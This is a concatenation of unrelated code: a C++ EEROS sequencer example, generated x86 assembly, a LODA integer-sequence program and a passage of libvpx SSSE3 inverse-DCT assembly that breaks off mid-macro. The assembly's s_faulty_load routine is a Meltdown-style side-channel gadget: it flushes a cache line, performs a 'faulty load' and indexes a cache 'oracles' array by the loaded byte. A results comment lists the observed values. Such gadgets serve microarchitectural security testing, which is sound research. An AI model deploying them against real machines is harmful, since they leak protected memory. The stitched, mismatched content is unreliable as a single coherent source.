#include <eeros/logger/StreamLogWriter.hpp> #include <eeros/sequencer/Sequencer.hpp> #include <eeros/sequencer/Sequence.hpp> #include <eeros/sequencer/Wait.hpp> #include <signal.h> using namespace eeros::sequencer; using namespace eeros::logger; class ExceptionSeq : public Sequence { public: ExceptionSeq(std::string name, Sequence* caller) : Sequence(name, caller, true), wait("wait", this) { } int action() {wait(3); return 0;} Wait wait; }; class SequenceS : public Sequence { public: SequenceS(std::string name, Sequencer& seq, Sequence* caller) : Sequence(name, caller, false), stepB("step B", this), eSeq("exception sequence", this) { setTimeoutTime(1.5); setTimeoutExceptionSequence(eSeq); setTimeoutBehavior(SequenceProp::abort); } int action() { for (int i = 0; i < 5; i++) stepB(1); return 0; } Wait stepB; ExceptionSeq eSeq; }; class MainSequence : public Sequence { public: MainSequence(std::string name, Sequencer& seq) : Sequence(name, seq), seqS("seq S", seq, this), stepA("step A", this) { } int action() { for (int i = 0; i < 3; i++) { stepA(1); } seqS(); for (int i = 0; i < 3; i++) { stepA(1); } seqS.wait(); return 0; } SequenceS seqS; Wait stepA; }; void signalHandler(int signum) { Sequencer::instance().abort(); } int main(int argc, char **argv) { signal(SIGINT, signalHandler); Logger::setDefaultStreamLogger(std::cout); Logger log = Logger::getLogger('M'); log.info() << "Sequencer example started..."; auto& sequencer = Sequencer::instance(); MainSequence mainSeq("Main Sequence", sequencer); mainSeq(); sequencer.wait(); log.info() << "Simple Sequencer Example finished..."; }
.global s_prepare_buffers s_prepare_buffers: push %r12 push %r13 push %r15 push %r8 push %r9 push %rcx push %rdi push %rsi lea addresses_D_ht+0xa2a9, %rsi lea addresses_normal_ht+0x2601, %rdi nop nop nop xor %r8, %r8 mov $53, %rcx rep movsq nop nop nop sub %rcx, %rcx lea addresses_normal_ht+0x138e9, %r9 nop nop nop cmp $44482, %r13 mov (%r9), %r12w and %rcx, %rcx lea addresses_A_ht+0x13329, %r8 nop cmp %rcx, %rcx mov $0x6162636465666768, %rdi movq %rdi, %xmm7 movups %xmm7, (%r8) nop nop nop sub %rcx, %rcx lea addresses_WT_ht+0x1ce67, %rsi lea addresses_normal_ht+0xa7a9, %rdi nop xor %r15, %r15 mov $31, %rcx rep movsq xor %r15, %r15 lea addresses_UC_ht+0x16da9, %rsi lea addresses_normal_ht+0x171e9, %rdi nop nop nop add $61220, %r15 mov $2, %rcx rep movsb nop inc %rsi lea addresses_A_ht+0x147e9, %rsi nop add %r12, %r12 and $0xffffffffffffffc0, %rsi movntdqa (%rsi), %xmm7 vpextrq $0, %xmm7, %r8 nop nop cmp %r9, %r9 lea addresses_normal_ht+0x1b3a9, %r8 clflush (%r8) cmp $51042, %r9 mov (%r8), %r12d nop nop nop nop nop cmp $42171, %r9 lea addresses_UC_ht+0x11205, %rsi nop nop add %r8, %r8 movw $0x6162, (%rsi) nop nop nop sub $21769, %r8 lea addresses_normal_ht+0x9454, %rsi lea addresses_WT_ht+0x52a9, %rdi nop nop inc %r15 mov $26, %rcx rep movsw nop nop nop nop cmp $16070, %rsi lea addresses_WC_ht+0xd251, %r8 inc %r12 movw $0x6162, (%r8) nop sub $26370, %rsi pop %rsi pop %rdi pop %rcx pop %r9 pop %r8 pop %r15 pop %r13 pop %r12 ret .global s_faulty_load s_faulty_load: push %r10 push %r11 push %r9 push %rax push %rbp push %rbx push %rsi // Store mov $0xc59, %r11 nop nop nop and $5177, %r9 mov $0x5152535455565758, %rbp movq %rbp, (%r11) nop nop nop nop nop inc %rbp // Store lea addresses_normal+0xdf95, %rsi nop sub %rax, %rax mov $0x5152535455565758, %r10 movq %r10, (%rsi) nop nop nop nop cmp $35709, %rbx // Load lea addresses_PSE+0x99a9, %r11 clflush (%r11) nop nop cmp %rsi, %rsi mov (%r11), %r9w nop cmp $14316, %r9 // Faulty Load lea addresses_PSE+0x99a9, %r9 nop cmp %rax, %rax mov (%r9), %r11 lea oracles, %rbx and $0xff, %r11 shlq $12, %r11 mov (%rbx,%r11,1), %r11 pop %rsi pop %rbx pop %rbp pop %rax pop %r9 pop %r11 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'same': True, 'congruent': 0, 'NT': False, 'type': 'addresses_PSE', 'size': 8, 'AVXalign': False}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 3, 'NT': True, 'type': 'addresses_P', 'size': 8, 'AVXalign': False}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 2, 'NT': False, 'type': 'addresses_normal', 'size': 8, 'AVXalign': False}} {'src': {'same': True, 'congruent': 0, 'NT': False, 'type': 'addresses_PSE', 'size': 2, 'AVXalign': False}, 'OP': 'LOAD'} [Faulty Load] {'src': {'same': True, 'congruent': 0, 'NT': False, 'type': 'addresses_PSE', 'size': 8, 'AVXalign': False}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'type': 'addresses_D_ht', 'congruent': 8, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_normal_ht', 'congruent': 3, 'same': False}} {'src': {'same': False, 'congruent': 6, 'NT': False, 'type': 'addresses_normal_ht', 'size': 2, 'AVXalign': False}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 5, 'NT': False, 'type': 'addresses_A_ht', 'size': 16, 'AVXalign': False}} {'src': {'type': 'addresses_WT_ht', 'congruent': 1, 'same': True}, 'OP': 'REPM', 'dst': {'type': 'addresses_normal_ht', 'congruent': 9, 'same': False}} {'src': {'type': 'addresses_UC_ht', 'congruent': 8, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_normal_ht', 'congruent': 6, 'same': False}} {'src': {'same': False, 'congruent': 4, 'NT': True, 'type': 'addresses_A_ht', 'size': 16, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'same': False, 'congruent': 9, 'NT': False, 'type': 'addresses_normal_ht', 'size': 4, 'AVXalign': False}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 1, 'NT': False, 'type': 'addresses_UC_ht', 'size': 2, 'AVXalign': False}} {'src': {'type': 'addresses_normal_ht', 'congruent': 0, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WT_ht', 'congruent': 6, 'same': False}} {'OP': 'STOR', 'dst': {'same': True, 'congruent': 3, 'NT': False, 'type': 'addresses_WC_ht', 'size': 2, 'AVXalign': False}} {'33': 21829} 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 */
; A290124: a(n) = a(n-1) + 12*a(n-2) with a(1) = 1 and a(2) = 2. ; 1,2,14,38,206,662,3134,11078,48686,181622,765854,2945318,12135566,47479382,193106174,762858758,3080132846,12234437942,49196032094,196009287398,786361672526,3138473121302,12574813191614,50236490647238,201134248946606,803972136713462,3217583124072734 mov $1,1 mov $2,$0 mov $3,$0 sub $3,$0 mov $4,1 lpb $2 gcd $4,$3 add $1,$4 sub $2,1 sub $4,$1 mul $4,12 lpe
; ; Copyright (c) 2014 The WebM project authors. All Rights Reserved. ; ; Use of this source code is governed by a BSD-style license ; that can be found in the LICENSE file in the root of the source ; tree. An additional intellectual property rights grant can be found ; in the file PATENTS. All contributing project authors may ; be found in the AUTHORS file in the root of the source tree. ; %include "third_party/x86inc/x86inc.asm" ; This file provides SSSE3 version of the inverse transformation. Part ; of the functions are originally derived from the ffmpeg project. ; Note that the current version applies to x86 64-bit only. SECTION_RODATA pw_11585x2: times 8 dw 23170 pw_m2404x2: times 8 dw -2404*2 pw_m4756x2: times 8 dw -4756*2 pw_m5520x2: times 8 dw -5520*2 pw_m8423x2: times 8 dw -8423*2 pw_m9102x2: times 8 dw -9102*2 pw_m10394x2: times 8 dw -10394*2 pw_m11003x2: times 8 dw -11003*2 pw_16364x2: times 8 dw 16364*2 pw_16305x2: times 8 dw 16305*2 pw_16207x2: times 8 dw 16207*2 pw_16069x2: times 8 dw 16069*2 pw_15893x2: times 8 dw 15893*2 pw_15679x2: times 8 dw 15679*2 pw_15426x2: times 8 dw 15426*2 pw_15137x2: times 8 dw 15137*2 pw_14811x2: times 8 dw 14811*2 pw_14449x2: times 8 dw 14449*2 pw_14053x2: times 8 dw 14053*2 pw_13623x2: times 8 dw 13623*2 pw_13160x2: times 8 dw 13160*2 pw_12665x2: times 8 dw 12665*2 pw_12140x2: times 8 dw 12140*2 pw__9760x2: times 8 dw 9760*2 pw__7723x2: times 8 dw 7723*2 pw__7005x2: times 8 dw 7005*2 pw__6270x2: times 8 dw 6270*2 pw__3981x2: times 8 dw 3981*2 pw__3196x2: times 8 dw 3196*2 pw__1606x2: times 8 dw 1606*2 pw___804x2: times 8 dw 804*2 pd_8192: times 4 dd 8192 pw_32: times 8 dw 32 pw_16: times 8 dw 16 %macro TRANSFORM_COEFFS 2 pw_%1_%2: dw %1, %2, %1, %2, %1, %2, %1, %2 pw_m%2_%1: dw -%2, %1, -%2, %1, -%2, %1, -%2, %1 pw_m%1_m%2: dw -%1, -%2, -%1, -%2, -%1, -%2, -%1, -%2 %endmacro TRANSFORM_COEFFS 6270, 15137 TRANSFORM_COEFFS 3196, 16069 TRANSFORM_COEFFS 13623, 9102 ; constants for 32x32_34 TRANSFORM_COEFFS 804, 16364 TRANSFORM_COEFFS 15426, 5520 TRANSFORM_COEFFS 3981, 15893 TRANSFORM_COEFFS 16207, 2404 TRANSFORM_COEFFS 1606, 16305 TRANSFORM_COEFFS 15679, 4756 TRANSFORM_COEFFS 11585, 11585 ; constants for 32x32_1024 TRANSFORM_COEFFS 12140, 11003 TRANSFORM_COEFFS 7005, 14811 TRANSFORM_COEFFS 14053, 8423 TRANSFORM_COEFFS 9760, 13160 TRANSFORM_COEFFS 12665, 10394 TRANSFORM_COEFFS 7723, 14449 %macro PAIR_PP_COEFFS 2 dpw_%1_%2: dw %1, %1, %1, %1, %2, %2, %2, %2 %endmacro %macro PAIR_MP_COEFFS 2 dpw_m%1_%2: dw -%1, -%1, -%1, -%1, %2, %2, %2, %2 %endmacro %macro PAIR_MM_COEFFS 2 dpw_m%1_m%2: dw -%1, -%1, -%1, -%1, -%2, -%2, -%2, -%2 %endmacro PAIR_PP_COEFFS 30274, 12540 PAIR_PP_COEFFS 6392, 32138 PAIR_MP_COEFFS 18204, 27246 PAIR_PP_COEFFS 12540, 12540 PAIR_PP_COEFFS 30274, 30274 PAIR_PP_COEFFS 6392, 6392 PAIR_PP_COEFFS 32138, 32138 PAIR_MM_COEFFS 18204, 18204 PAIR_PP_COEFFS 27246, 27246 SECTION .text %if ARCH_X86_64 %macro SUM_SUB 3 psubw m%3, m%1, m%2 paddw m%1, m%2 SWAP %2, %3 %endmacro ; butterfly operation %macro MUL_ADD_2X 6 ; dst1, dst2, src, round, coefs1, coefs2 pmaddwd m%1, m%3, %5 pmaddwd m%2, m%3, %6 paddd m%1, %4 paddd m%2, %4 psrad m%1, 14 psrad m%2, 14 %endmacro %macro BUTTERFLY_4X 7 ; dst1, dst2, coef1, coef2, round, tmp1, tmp2 punpckhwd m%6, m%2, m%1 MUL_ADD_2X %7, %6, %6, %5, [pw_m%4_%3], [pw_%3_%4] punpcklwd m%2, m%1 MUL_ADD_2X %1, %2, %2, %5, [pw_m%4_%3], [pw_%3_%4] packssdw m%1, m%7 packssdw m%2, m%6 %endmacro %macro BUTTERFLY_4Xmm 7 ; dst1, dst2, coef1, coef2, round, tmp1, tmp2 punpckhwd m%6, m%2, m%1 MUL_ADD_2X %7, %6, %6, %5, [pw_m%4_%3], [pw_m%3_m%4] punpcklwd m%2, m%1 MUL_ADD_2X %1, %2, %2, %5, [pw_m%4_%3], [pw_m%3_m%4] packssdw m%1, m%7 packssdw m%2, m%6 %endmacro ; matrix transpose %macro INTERLEAVE_2X 4 punpckh%1 m%4, m%2, m%3 punpckl%1 m%2, m%3 SWAP %3, %4 %endmacro %macro TRANSPOSE8X8 9 INTERLEAVE_2X wd, %1, %2, %9 INTERLEAVE_2X wd, %3, %4, %9 INTERLEAVE_2X wd, %5, %6, %9 INTERLEAVE_2X wd, %7, %8, %9 INTERLEAVE_2X dq, %1, %3, %9 INTERLEAVE_2X dq, %2, %4, %9 INTERLEAVE_2X dq, %5, %7, %9 INTERLEAVE_2X dq, %6, %8, %9 INTERLEAVE_2X qdq, %1, %5, %9 INTERLEAVE_2X qdq, %3, %7, %9 INTERLEAVE_2X qdq, %2, %6, %9 INTERLEAVE_2X qdq, %4, %8, %9 SWAP %2, %5 SWAP %4, %7 %endmacro %macro IDCT8_1D 0 SUM_SUB 0, 4, 9 BUTTERFLY_4X 2, 6, 6270, 15137, m8, 9, 10 pmulhrsw m0, m12 pmulhrsw m4, m12 BUTTERFLY_4X 1, 7, 3196, 16069, m8, 9, 10 BUTTERFLY_4X 5, 3, 13623, 9102, m8, 9, 10 SUM_SUB 1, 5, 9 SUM_SUB 7, 3, 9 SUM_SUB 0, 6, 9 SUM_SUB 4, 2, 9 SUM_SUB 3, 5, 9 pmulhrsw m3, m12 pmulhrsw m5, m12 SUM_SUB 0, 7, 9 SUM_SUB 4, 3, 9 SUM_SUB 2, 5, 9 SUM_SUB 6, 1, 9 SWAP 3, 6 SWAP 1, 4 %endmacro ; This macro handles 8 pixels per line %macro ADD_STORE_8P_2X 5; src1, src2, tmp1, tmp2, zero paddw m%1, m11 paddw m%2, m11 psraw m%1, 5 psraw m%2, 5 movh m%3, [outputq] movh m%4, [outputq + strideq] punpcklbw m%3, m%5 punpcklbw m%4, m%5 paddw m%3, m%1 paddw m%4, m%2 packuswb m%3, m%5 packuswb m%4, m%5 movh [outputq], m%3 movh [outputq + strideq], m%4 %endmacro INIT_XMM ssse3 ; full inverse 8x8 2D-DCT transform cglobal idct8x8_64_add, 3, 5, 13, input, output, stride mova m8, [pd_8192] mova m11, [pw_16] mova m12, [pw_11585x2] lea r3, [2 * strideq] %if CONFIG_VP9_HIGHBITDEPTH mova m0, [inputq + 0] packssdw m0, [inputq + 16] mova m1, [inputq + 32] packssdw m1, [inputq + 48] mova m2, [inputq + 64] packssdw m2, [inputq + 80] mova m3, [inputq + 96] packssdw m3, [inputq + 112] mova m4, [inputq + 128] packssdw m4, [inputq + 144] mova m5, [inputq + 160] packssdw m5, [inputq + 176] mova m6, [inputq + 192] packssdw m6, [inputq + 208] mova m7, [inputq + 224] packssdw m7, [inputq + 240] %else mova m0, [inputq + 0] mova m1, [inputq + 16] mova m2, [inputq + 32] mova m3, [inputq + 48] mova m4, [inputq + 64] mova m5, [inputq + 80] mova m6, [inputq + 96] mova m7, [inputq + 112] %endif TRANSPOSE8X8 0, 1, 2, 3, 4, 5, 6, 7, 9 IDCT8_1D TRANSPOSE8X8 0, 1, 2, 3, 4, 5, 6, 7, 9 IDCT8_1D pxor m12, m12 ADD_STORE_8P_2X 0, 1, 9, 10, 12 lea outputq, [outputq + r3] ADD_STORE_8P_2X 2, 3, 9, 10, 12 lea outputq, [outputq + r3] ADD_STORE_8P_2X 4, 5, 9, 10, 12 lea outputq, [outputq + r3] ADD_STORE_8P_2X 6, 7, 9, 10, 12 RET ; inverse 8x8 2D-DCT transform with only first 10 coeffs non-zero cglobal idct8x8_12_add, 3, 5, 13, input, output, stride mova m8, [pd_8192] mova m11, [pw_16] mova m12, [pw_11585x2] lea r3, [2 * strideq] %if CONFIG_VP9_HIGHBITDEPTH mova m0, [inputq + 0] packssdw m0, [inputq + 16] mova m1, [inputq + 32] packssdw m1, [inputq + 48] mova m2, [inputq + 64] packssdw m2, [inputq + 80] mova m3, [inputq + 96] packssdw m3, [inputq + 112] %else mova m0, [inputq + 0] mova m1, [inputq + 16] mova m2, [inputq + 32] mova m3, [inputq + 48] %endif punpcklwd m0, m1 punpcklwd m2, m3 punpckhdq m9, m0, m2 punpckldq m0, m2 SWAP 2, 9 ; m0 -> [0], [0] ; m1 -> [1], [1] ; m2 -> [2], [2] ; m3 -> [3], [3] punpckhqdq m10, m0, m0 punpcklqdq m0, m0 punpckhqdq m9, m2, m2 punpcklqdq m2, m2 SWAP 1, 10 SWAP 3, 9 pmulhrsw m0, m12 pmulhrsw m2, [dpw_30274_12540] pmulhrsw m1, [dpw_6392_32138] pmulhrsw m3, [dpw_m18204_27246] SUM_SUB 0, 2, 9 SUM_SUB 1, 3, 9 punpcklqdq m9, m3, m3 punpckhqdq m5, m3, m9 SUM_SUB 3, 5, 9 punpckhqdq m5, m3 pmulhrsw m5, m12 punpckhqdq m9, m1, m5 punpcklqdq m1, m5 SWAP 5, 9 SUM_SUB 0, 5, 9 SUM_SUB 2, 1, 9 punpckhqdq m3, m0, m0 punpckhqdq m4, m1, m1 punpckhqdq m6, m5, m5 punpckhqdq m7, m2, m2 punpcklwd m0, m3 punpcklwd m7, m2 punpcklwd m1, m4 punpcklwd m6, m5 punpckhdq m4, m0, m7 punpckldq m0, m7 punpckhdq m10, m1, m6 punpckldq m5, m1, m6 punpckhqdq m1, m0, m5 punpcklqdq m0, m5 punpckhqdq m3, m4, m10 punpcklqdq m2, m4, m10 pmulhrsw m0, m12 pmulhrsw m6, m2, [dpw_30274_30274] pmulhrsw m4, m2, [dpw_12540_12540] pmulhrsw m7, m1, [dpw_32138_32138] pmulhrsw m1, [dpw_6392_6392] pmulhrsw m5, m3, [dpw_m18204_m18204] pmulhrsw m3, [dpw_27246_27246] mova m2, m0 SUM_SUB 0, 6, 9 SUM_SUB 2, 4, 9 SUM_SUB 1, 5, 9 SUM_SUB 7, 3, 9 SUM_SUB 3, 5, 9 pmulhrsw m3, m12 pmulhrsw m5, m12 SUM_SUB 0, 7, 9 SUM_SUB 2, 3, 9 SUM_SUB 4, 5, 9 SUM_SUB 6, 1, 9 SWAP 3, 6 SWAP 1, 2 SWAP 2, 4 pxor m12, m12 ADD_STORE_8P_2X 0, 1, 9, 10, 12 lea outputq, [outputq + r3] ADD_STORE_8P_2X 2, 3, 9, 10, 12 lea outputq, [outputq + r3] ADD_STORE_8P_2X 4, 5, 9, 10, 12 lea outputq, [outputq + r3] ADD_STORE_8P_2X 6, 7, 9, 10, 12 RET %define idx0 16 * 0 %define idx1 16 * 1 %define idx2 16 * 2 %define idx3 16 * 3 %define idx4 16 * 4 %define idx5 16 * 5 %define idx6 16 * 6 %define idx7 16 * 7 %define idx8 16 * 0 %define idx9 16 * 1 %define idx10 16 * 2 %define idx11 16 * 3 %define idx12 16 * 4 %define idx13 16 * 5 %define idx14 16 * 6 %define idx15 16 * 7 %define idx16 16 * 0 %define idx17 16 * 1 %define idx18 16 * 2 %define idx19 16 * 3 %define idx20 16 * 4 %define idx21 16 * 5 %define idx22 16 * 6 %define idx23 16 * 7 %define idx24 16 * 0 %define idx25 16 * 1 %define idx26 16 * 2 %define idx27 16 * 3 %define idx28 16 * 4 %define idx29 16 * 5 %define idx30 16 * 6 %define idx31 16 * 7 ; FROM idct32x32_add_neon.asm ; ; Instead of doing the transforms stage by stage, it is done by loading ; some input values and doing as many stages as possible to minimize the ; storing/loading of intermediate results. To fit within registers, the ; final coefficients are cut into four blocks: ; BLOCK A: 16-19,28-31 ; BLOCK B: 20-23,24-27 ; BLOCK C: 8-11,12-15 ; BLOCK D: 0-3,4-7 ; Blocks A and C are straight calculation through the various stages. In ; block B, further calculations are performed using the results from ; block A. In block D, further calculations are performed using the results ; from block C and then the final calculations are done using results from ; block A and B which have been combined at the end of block B. ; %macro IDCT32X32_34 4 ; BLOCK A STAGE 1 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ mova m11, m1 pmulhrsw m1, [pw___804x2] ; stp1_16 mova [r4 + 0], m0 pmulhrsw m11, [pw_16364x2] ; stp2_31 mova [r4 + 16 * 2], m2 mova m12, m7 pmulhrsw m7, [pw_15426x2] ; stp1_28 mova [r4 + 16 * 4], m4 pmulhrsw m12, [pw_m5520x2] ; stp2_19 mova [r4 + 16 * 6], m6 ; BLOCK A STAGE 2 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ mova m2, m1 ; stp1_16 mova m0, m11 ; stp1_31 mova m4, m7 ; stp1_28 mova m15, m12 ; stp1_19 ; BLOCK A STAGE 3 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ BUTTERFLY_4X 0, 2, 3196, 16069, m8, 9, 10 ; stp1_17, stp1_30 BUTTERFLY_4Xmm 4, 15, 3196, 16069, m8, 9, 10 ; stp1_29, stp1_18 ; BLOCK A STAGE 4 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ SUM_SUB 1, 12, 9 ; stp2_16, stp2_19 SUM_SUB 0, 15, 9 ; stp2_17, stp2_18 SUM_SUB 11, 7, 9 ; stp2_31, stp2_28 SUM_SUB 2, 4, 9 ; stp2_30, stp2_29 ; BLOCK A STAGE 5 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ BUTTERFLY_4X 4, 15, 6270, 15137, m8, 9, 10 ; stp1_18, stp1_29 BUTTERFLY_4X 7, 12, 6270, 15137, m8, 9, 10 ; stp1_19, stp1_28 ; BLOCK B STAGE 1 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ mova m6, m5 pmulhrsw m5, [pw__3981x2] ; stp1_20 mova [stp + %4 + idx28], m12 mova [stp + %4 + idx29], m15 pmulhrsw m6, [pw_15893x2] ; stp2_27 mova [stp + %4 + idx30], m2 mova m2, m3 pmulhrsw m3, [pw_m2404x2] ; stp1_23 mova [stp + %4 + idx31], m11 pmulhrsw m2, [pw_16207x2] ; stp2_24 ; BLOCK B STAGE 2 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ mova m13, m5 ; stp1_20 mova m14, m6 ; stp1_27 mova m15, m3 ; stp1_23 mova m11, m2 ; stp1_24 ; BLOCK B STAGE 3 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ BUTTERFLY_4X 14, 13, 13623, 9102, m8, 9, 10 ; stp1_21, stp1_26 BUTTERFLY_4Xmm 11, 15, 13623, 9102, m8, 9, 10 ; stp1_25, stp1_22 ; BLOCK B STAGE 4 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ SUM_SUB 3, 5, 9 ; stp2_23, stp2_20 SUM_SUB 15, 14, 9 ; stp2_22, stp2_21 SUM_SUB 2, 6, 9 ; stp2_24, stp2_27 SUM_SUB 11, 13, 9 ; stp2_25, stp2_26 ; BLOCK B STAGE 5 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ BUTTERFLY_4Xmm 6, 5, 6270, 15137, m8, 9, 10 ; stp1_27, stp1_20 BUTTERFLY_4Xmm 13, 14, 6270, 15137, m8, 9, 10 ; stp1_26, stp1_21 ; BLOCK B STAGE 6 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ SUM_SUB 1, 3, 9 ; stp2_16, stp2_23 SUM_SUB 0, 15, 9 ; stp2_17, stp2_22 SUM_SUB 4, 14, 9 ; stp2_18, stp2_21 SUM_SUB 7, 5, 9 ; stp2_19, stp2_20 mova [stp + %3 + idx16], m1 mova [stp + %3 + idx17], m0 mova [stp + %3 + idx18], m4 mova [stp + %3 + idx19], m7 mova m4, [stp + %4 + idx28] mova m7, [stp + %4 + idx29] mova m10, [stp + %4 + idx30] mova m12, [stp + %4 + idx31] SUM_SUB 4, 6, 9 ; stp2_28, stp2_27 SUM_SUB 7, 13, 9 ; stp2_29, stp2_26 SUM_SUB 10, 11, 9 ; stp2_30, stp2_25 SUM_SUB 12, 2, 9 ; stp2_31, stp2_24 mova [stp + %4 + idx28], m4 mova [stp + %4 + idx29], m7 mova [stp + %4 + idx30], m10 mova [stp + %4 + idx31], m12 ; BLOCK B STAGE 7 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ %if 0 ; overflow occurs in SUM_SUB when using test streams mova m10, [pw_11585x2] SUM_SUB 6, 5, 9 pmulhrsw m6, m10 ; stp1_27 pmulhrsw m5, m10 ; stp1_20 SUM_SUB 13, 14, 9 pmulhrsw m13, m10 ; stp1_26 pmulhrsw m14, m10 ; stp1_21 SUM_SUB 11, 15, 9 pmulhrsw m11, m10 ; stp1_25 pmulhrsw m15, m10 ; stp1_22 SUM_SUB 2, 3, 9 pmulhrsw m2, m10 ; stp1_24 pmulhrsw m3, m10 ; stp1_23 %else BUTTERFLY_4X 6, 5, 11585, 11585, m8, 9, 10 ; stp1_20, stp1_27 SWAP 6, 5 BUTTERFLY_4X 13, 14, 11585, 11585, m8, 9, 10 ; stp1_21, stp1_26 SWAP 13, 14 BUTTERFLY_4X 11, 15, 11585, 11585, m8, 9, 10 ; stp1_22, stp1_25 SWAP 11, 15 BUTTERFLY_4X 2, 3, 11585, 11585, m8, 9, 10 ; stp1_23, stp1_24 SWAP 2, 3 %endif mova [stp + %4 + idx24], m2 mova [stp + %4 + idx25], m11 mova [stp + %4 + idx26], m13 mova [stp + %4 + idx27], m6 ; BLOCK C STAGE 1 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ; ; BLOCK C STAGE 2 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ mova m0, [rsp + transposed_in + 16 * 2] mova m6, [rsp + transposed_in + 16 * 6] mova m1, m0 pmulhrsw m0, [pw__1606x2] 